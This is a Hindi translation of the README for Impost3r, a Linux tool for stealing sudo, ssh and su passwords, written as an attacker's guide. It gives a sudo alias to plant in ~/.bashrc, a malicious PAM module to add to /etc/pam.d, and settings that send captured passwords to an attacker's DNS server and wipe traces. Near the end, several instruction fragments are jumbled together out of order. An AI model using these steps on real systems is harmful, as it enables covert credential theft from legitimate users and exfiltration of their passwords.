
👻Impost3r -- एक Linux पासवर्ड चोर

Impost3r एक C भाषा में लिखा गया उपकरण है, जिसका उपयोग लिनक्स पर विभिन्न पासवर्ड (ssh, su, sudo) चुराने के लिए किया जाता है।
उपयोगकर्ता इस प्रोग्राम का उपयोग वाटरिंग होल बनाने के लिए कर सकते हैं, ताकि वैध उपयोगकर्ताओं के पासवर्ड चुराए जा सकें।
यह उपकरण केवल सुरक्षा अनुसंधान और शिक्षा के लिए है; उपयोगकर्ता इस उपकरण के उपयोग से उत्पन्न सभी कानूनी और संबंधित जिम्मेदारियों को स्वीकार करता है! लेखक किसी भी कानूनी या संबंधित जिम्मेदारी को स्वीकार नहीं करता है!
Impost3r का उपयोग sudo, su, ssh सेवाओं सहित पासवर्ड चुराने के लिए किया जा सकता है। इन तीन सेवाओं को मोटे तौर पर दो श्रेणियों में विभाजित किया जा सकता है: sudo और ssh/su। नीचे दो स्थितियों पर चर्चा की गई है।
केवल सामान्य उपयोगकर्ता अनुमति की आवश्यकता है, root होना आवश्यक नहीं है, लेकिन केवल संबंधित उपयोगकर्ता का पासवर्ड चुराया जा सकता है, अन्य उपयोगकर्ताओं का नहीं।
पहले मान लें कि हमलावर ने एक सर्वर पर नियंत्रण प्राप्त कर लिया है, अनुमति सामान्य उपयोगकर्ता की है।
जाँचें कि उपयोगकर्ता की मूल निर्देशिका में .bash_profile फ़ाइल मौजूद है या नहीं। यदि .bash_profile मौजूद है: जाँचें कि .bash_profile फ़ाइल में .bashrc को सक्रिय रूप से लोड किया गया है या नहीं। यदि सक्रिय रूप से लोड किया गया है, तो इस चरण और अगले दो चरणों को छोड़ दें और आगे की कार्रवाई जारी रखें। यदि सक्रिय रूप से लोड नहीं किया गया है, तो अगले दो चरणों को छोड़ दें, और नीचे .bashrc से संबंधित सभी क्रियाओं को .bash_profile के लिए बदल दें!!!; यदि .bash_profile मौजूद नहीं है: अगली जाँच पर जाएँ।
जाँचें कि उपयोगकर्ता की मूल निर्देशिका में .bash_login फ़ाइल मौजूद है या नहीं। यदि .bash_login मौजूद है: जाँचें कि .bash_login फ़ाइल में .bashrc को सक्रिय रूप से लोड किया गया है या नहीं। यदि सक्रिय रूप से लोड किया गया है, तो इस चरण और अगले चरण को छोड़ दें और आगे की कार्रवाई जारी रखें। यदि सक्रिय रूप से लोड नहीं किया गया है, तो अगले चरण को छोड़ दें, और ; यदि मौजूद नहीं है: अगली जाँच पर जाएँ।
if [ -n "$BASH_VERSION" ]; then
# include .bashrc if it exists
if [ -f "$HOME/.bashrc" ]; then
. "$HOME/.bashrc"
fi
fi
उपयोगकर्ता के .bashrc की एक प्रतिलिपि बनाएँ: cp ~/.bashrc /tmp/, और इस प्रतिलिपि को हमलावर द्वारा निर्धारित पथ पर रखें (इस उदाहरण में इसे /tmp/ निर्देशिका में रखा गया है, हमलावर इसे संशोधित कर सकता है)।
उपयोगकर्ता की मूल निर्देशिका में .bashrc (~/.bashrc) को संशोधित करें, अंतिम पंक्ति में निम्नलिखित कथन जोड़ें (जहाँ "/tmp/.impost3r" को नीचे FILENAME के साथ मेल खाना चाहिए):
alias sudo='impost3r() {
if [ -f "/tmp/.impost3r" ]; then
/tmp/.impost3r "$@" && unalias sudo
else
unalias sudo;sudo "$@"
fi
}; impost3r'
जोड़ने के बाद, फ़ाइल को सहेजें और source ~/.bashrc निष्पादित करें।
इसके बाद हमलावर को Impost3r के स्रोत कोड /sudo/main.h को संशोधित करना होगा:
/*
Custom setting
*/
# define FILENAME "/tmp/.impost3r" \\ लक्ष्य सर्वर पर Impost3r का स्थान सेट करें
# define BACKUP_ORI_FILENAME ".bashrc" \\ इंगित करता है कि हमलावर द्वारा बैकअप ली गई मूल उपयोगकर्ता कॉन्फ़िगरेशन फ़ाइल .bashrc, .bash_profile, .profile, या .bash_login है
# define BACKUP_ORI_PATH "/tmp/.bashrc" \\ इंगित करता है कि हमलावर द्वारा बैकअप ली गई मूल उपयोगकर्ता कॉन्फ़िगरेशन फ़ाइल लक्ष्य सर्वर पर कहाँ स्थित है
# define SAVE_OR_SEND 0 \\ सेट करता है कि चोरी सफल होने के बाद परिणाम लक्ष्य मशीन पर सहेजा जाएगा या हमलावर द्वारा नियंत्रित मशीन पर भेजा जाएगा (भेजें=0, सहेजें=1, डिफ़ॉल्ट भेजें)
/*
Send to server
*/
# define YOUR_DOMAIN ".com" \\ ध्यान दें: यदि आप Impost3r से वापस संदेश प्राप्त करने के लिए कोई डोमेन खरीदना नहीं चाहते हैं और लक्ष्य सर्वर आपके नियंत्रित DNS सर्वर के पोर्ट 53 पर सीधे UDP कनेक्शन को प्रतिबंधित नहीं करता है, तो यहाँ डोमेन डिफ़ॉल्ट मान का उपयोग करें;
\\ लेकिन यदि लक्ष्य सर्वर DNS अनुरोधों के आउटबाउंड को सख्ती से प्रतिबंधित करता है, तो YOUR_DOMAIN का मान आपके द्वारा खरीदे गए डोमेन में बदलें, जैसे ".example.com", और इस डोमेन के NS रिकॉर्ड को अपने नियंत्रित DNS सर्वर के पते पर कॉन्फ़िगर करें, उस DNS सर्वर पर Fdns चलाएँ, और नीचे REMOTE_ADDRESS का मान लक्ष्य सर्वर के डिफ़ॉल्ट DNS पते पर बदलें, REMOTE_PORT को लक्ष्य सर्वर के डिफ़ॉल्ट DNS पते द्वारा सुने जाने वाले DNS सेवा पोर्ट पर बदलें (अधिकांश मामलों में पोर्ट 53)
# define MAX_RESEND 30 \\ पासवर्ड चुराने के बाद, Impost3r हमलावर सर्वर पर उपयोगकर्ता पासवर्ड भेजने के लिए अधिकतम पुनः प्रयास संख्या सेट करता है
# define RESEND_INTERVAL 5 \\ प्रत्येक पासवर्ड भेजने के बीच का अंतराल सेट करता है
# define REMOTE_ADDRESS "192.168.0.12" \\ पासवर्ड वापस भेजने का रिमोट पता सेट करता है
# define REMOTE_PORT 53 \\ पासवर्ड वापस भेजने का रिमोट पोर्ट सेट करता है
/*
Save to local
*/
# define SAVE_LOCATION "/tmp/.cache" \\ परिणाम फ़ाइल का सहेजने का स्थान सेट करता है, जब SAVE_OR_SEND 1 पर सेट हो
संशोधन के बाद, सहेजें और वर्तमान निर्देशिका में make निष्पादित करें।
वर्तमान निर्देशिका में संकलित .impost3r फ़ाइल प्राप्त होगी।
.impost3r फ़ाइल को लक्ष्य सर्वर के /tmp/ फ़ोल्डर में अपलोड करें (यह केवल एक उदाहरण है, इसे स्वयं संशोधित किया जा सकता है, केवल इतना सुनिश्चित करें कि यह स्रोत कोड में परिभाषित के समान हो)।
हमलावर अपने सर्वर पर DNS सर्वर प्रोग्राम प्रारंभ करता है और वैध उपयोगकर्ता द्वारा sudo का उपयोग करने के बाद पासवर्ड प्राप्त करने की प्रतीक्षा करता है।
sudo पासवर्ड चुराने के मामले में, Impost3r सफल होने के बाद स्वचालित रूप से निशान मिटा देगा, इसलिए हमलावर को मैन्युअल रूप से सफाई करने की आवश्यकता नहीं है।
Impost3r स्वचालित रूप से पहचान लेगा कि उपयोगकर्ता द्वारा दर्ज किया गया पासवर्ड सही है या नहीं, और सही पासवर्ड दर्ज होने के बाद ही प्रक्रिया समाप्त करेगा और निशान मिटाएगा।
कृपया Impost3r का उपयोग करने से पहले स्वयं sudo -v का उपयोग करके जाँचें कि वर्तमान उपयोगकर्ता sudoer समूह में है या नहीं। यदि नहीं, तो Impost3r का उपयोग न करें।
ssh/su पासवर्ड चुराने की विधि ऊपर sudo पासवर्ड चुराने से भिन्न है। इसके लिए root अनुमति की आवश्यकता होती है, और किसी भी उपयोगकर्ता का पासवर्ड चुराया जा सकता है।
नीचे Ubuntu को उदाहरण के रूप में लिया गया है, Centos समान है, उपयोग की जाने वाली फ़ाइलें और संशोधन के तरीके भिन्न हो सकते हैं।
सबसे पहले मान लें कि हमलावर ने एक सर्वर पर नियंत्रण प्राप्त कर लिया है।
विशेषाधिकार वृद्धि (privilege escalation) के माध्यम से root अनुमति प्राप्त की (या प्रशासक ने root अनुमति से सेवा शुरू की)।
पहले Impost3r के /ssh_su/main.h स्रोत कोड फ़ाइल को संपादित करें।
/*
Custom setting
*/
# define SSH_OR_BOTH 0 \\ चोरी मोड सेट करता है, 0 का अर्थ केवल ssh पासवर्ड चुराना, 1 का अर्थ ssh और su दोनों पासवर्ड चुराना, डिफ़ॉल्ट 0 (अंतर बाद में समझाया जाएगा)
# define SAVE_OR_SEND 0 \\ सेट करता है कि चोरी सफल होने के बाद परिणाम लक्ष्य मशीन पर सहेजा जाएगा या हमलावर द्वारा नियंत्रित मशीन पर भेजा जाएगा (भेजें=0, सहेजें=1, डिफ़ॉल्ट भेजें)
/*
Send to server
*/
# define YOUR_DOMAIN ".com" \\ ध्यान दें: यदि आप Impost3r से वापस संदेश प्राप्त करने के लिए कोई डोमेन खरीदना नहीं चाहते हैं और लक्ष्य सर्वर आपके नियंत्रित DNS सर्वर के पोर्ट 53 पर सीधे UDP कनेक्शन को प्रतिबंधित नहीं करता है, तो यहाँ डोमेन डिफ़ॉल्ट मान का उपयोग करें;
\\ लेकिन यदि लक्ष्य सर्वर DNS अनुरोधों के आउटबाउंड को सख्ती से प्रतिबंधित करता है, तो YOUR_DOMAIN का मान आपके द्वारा खरीदे गए डोमेन में बदलें, जैसे ".example.com", और इस डोमेन के NS रिकॉर्ड को अपने नियंत्रित DNS सर्वर के पते पर कॉन्फ़िगर करें, उस DNS सर्वर पर Fdns चलाएँ, और नीचे REMOTE_ADDRESS का मान लक्ष्य सर्वर के डिफ़ॉल्ट DNS पते पर बदलें, REMOTE_PORT को लक्ष्य सर्वर के डिफ़ॉल्ट DNS पते द्वारा सुने जाने वाले DNS सेवा पोर्ट पर बदलें (अधिकांश मामलों में पोर्ट 53)
# define MAX_RESEND 30 \\ पासवर्ड चुराने के बाद, Impost3r हमलावर सर्वर पर उपयोगकर्ता पासवर्ड भेजने के लिए अधिकतम पुनः प्रयास संख्या सेट करता है (केवल तब प्रभावी जब SSH_OR_BOTH 0 हो)
# define RESEND_INTERVAL 5 \\ प्रत्येक पासवर्ड भेजने के बीच का अंतराल सेट करता है (केवल तब प्रभावी जब SSH_OR_BOTH 0 हो)
# define REMOTE_ADDRESS "192.168.0.12" \\ पासवर्ड वापस भेजने का रिमोट पता सेट करता है
# define REMOTE_PORT 53 \\ पासवर्ड वापस भेजने का रिमोट पोर्ट सेट करता है
/*
Save to local
*/
# define SAVE_LOCATION "/tmp/.sshsucache" \\ परिणाम फ़ाइल का सहेजने का स्थान सेट करता है, जब SAVE_OR_SEND 1 पर सेट हो
संशोधन के बाद, सहेजें और वर्तमान निर्देशिका में make निष्पादित करें।
संकलित फ़ाइल impost3r.so प्राप्त होगी।
संकलित impost3r.so को लक्ष्य मशीन के /lib/x86_64-linux-gnu/security के अंतर्गत अपलोड करें (विभिन्न मशीनों पर फ़ोल्डर का नाम भिन्न हो सकता है, कृपया स्थिति के अनुसार रखें)।
/etc/pam.d में जाएँ, यहाँ दो स्थितियाँ हैं। यदि चुना गया मोड केवल ssh पासवर्ड चुराना है, तो vi sshd निष्पादित करें, और फ़ाइल के अंत में निम्नलिखित कथन जोड़ें (यहाँ ध्यान दें: Ubuntu के अलावा अन्य लिनक्स-आधारित सिस्टम की यह फ़ाइल Ubuntu से काफी भिन्न हो सकती है, कृपया नियमों को स्वयं समझें और फिर उपयुक्त स्थान पर जोड़ें)।
auth optional impost3r.so
account optional impost3r.so
सहेजें और बाहर निकलें, sshd सेवा पुनः प्रारंभ करें service sshd restart।
यदि ssh और su पासवर्ड दोनों चुराने का विकल्प चुना गया है, तो vi common-auth निष्पादित करें, वही कथन जोड़ें, सहेजें और बाहर निकलें, फिर sshd सेवा पुनः प्रारंभ करें।
हमलावर अपने सर्वर पर DNS सर्वर प्रोग्राम प्रारंभ करता है और वैध उपयोगकर्ता द्वारा ssh के माध्यम से लक्ष्य मशीन में लॉग इन करने या su का उपयोग करने के बाद पासवर्ड प्राप्त करने की प्रतीक्षा करता है।
ssh/su पासवर्ड चुराने के मामले में, Impost3r अनुमति संबंधी कारणों से निशान नहीं मिटा सकता, हमलावर को स्वयं सफाई करनी होगी।
कृपया ध्यान दें: यदि केवल ssh पासवर्ड चुराने का विकल्प सेट किया गया है, तो लगभग सुनिश्चित है कि हमलावर को 100% चोरी का परिणाम मिलेगा। लेकिन यदि दोनों एक साथ चुराने का विकल्प सेट किया गया है, तो यह सुनिश्चित नहीं है कि हमलावर को 100% परिणाम मिलेगा (केवल तब जब DNS भेजने का विकल्प सेट हो, स्थानीय सहेजने का विकल्प प्रभावित नहीं होता)।
su पासवर्ड चुराने की अनुशंसा नहीं की जाती है, और चूंकि उपयोगकर्ता का ssh पासवर्ड और su पासवर्ड समान होता है, इसलिए जहाँ तक संभव हो su पासवर्ड न चुराएँ, ssh पासवर्ड ही पर्याप्त है।
डिफ़ॉल्ट रूप से खाली पासवर्ड नहीं चुराए जाते हैं। कृपया स्वयं जाँचें कि उपयोगकर्ता का पासवर्ड खाली है या नहीं (sshd कॉन्फ़िगरेशन फ़ाइल में PermitEmptyPasswords yes देखें, यदि खाली है, तो चुराने की कोई आवश्यकता नहीं है)।
gcc -o dns main.c util.c का उपयोग करके स्वयं संकलित करें (ध्यान दें: पहले main.c में सुनने वाले पोर्ट को संशोधित करें)।util.h में YOUR_DOMAIN मान देखें, सुनिश्चित करें कि यह मान लक्ष्य सर्वर पर Impost3r प्रोग्राम के संकलन के समय उपयोग किए गए YOUR_DOMAIN मान से मेल खाता है, अन्यथा चोरी विफल हो सकती है।.bashrc से संबंधित सभी क्रियाओं को .bash_login के लिए बदल दें!!!.bash_loginजाँचें कि उपयोगकर्ता की मूल निर्देशिका में .profile फ़ाइल मौजूद है या नहीं। यदि .profile मौजूद है: जाँचें कि .profile फ़ाइल में .bashrc को सक्रिय रूप से लोड किया गया है या नहीं (डिफ़ॉल्ट रूप से लोड होता है)। यदि सक्रिय रूप से लोड किया गया है, तो इस चरण को छोड़ दें और आगे की कार्रवाई जारी रखें। यदि सक्रिय रूप से लोड नहीं किया गया है, तो नीचे .bashrc से संबंधित सभी क्रियाओं को .profile के लिए बदल दें!!!; यदि .profile भी मौजूद नहीं है, तो सैद्धांतिक रूप से Impost3r का उपयोग नहीं किया जा सकता है। बेशक, आप स्थिति के अनुसार स्वयं निर्णय ले सकते हैं कि .bash_profile या .profile फ़ाइल बनानी है या नहीं, और इसमें .bashrc को लोड करने के लिए निम्नलिखित कोड जोड़ें: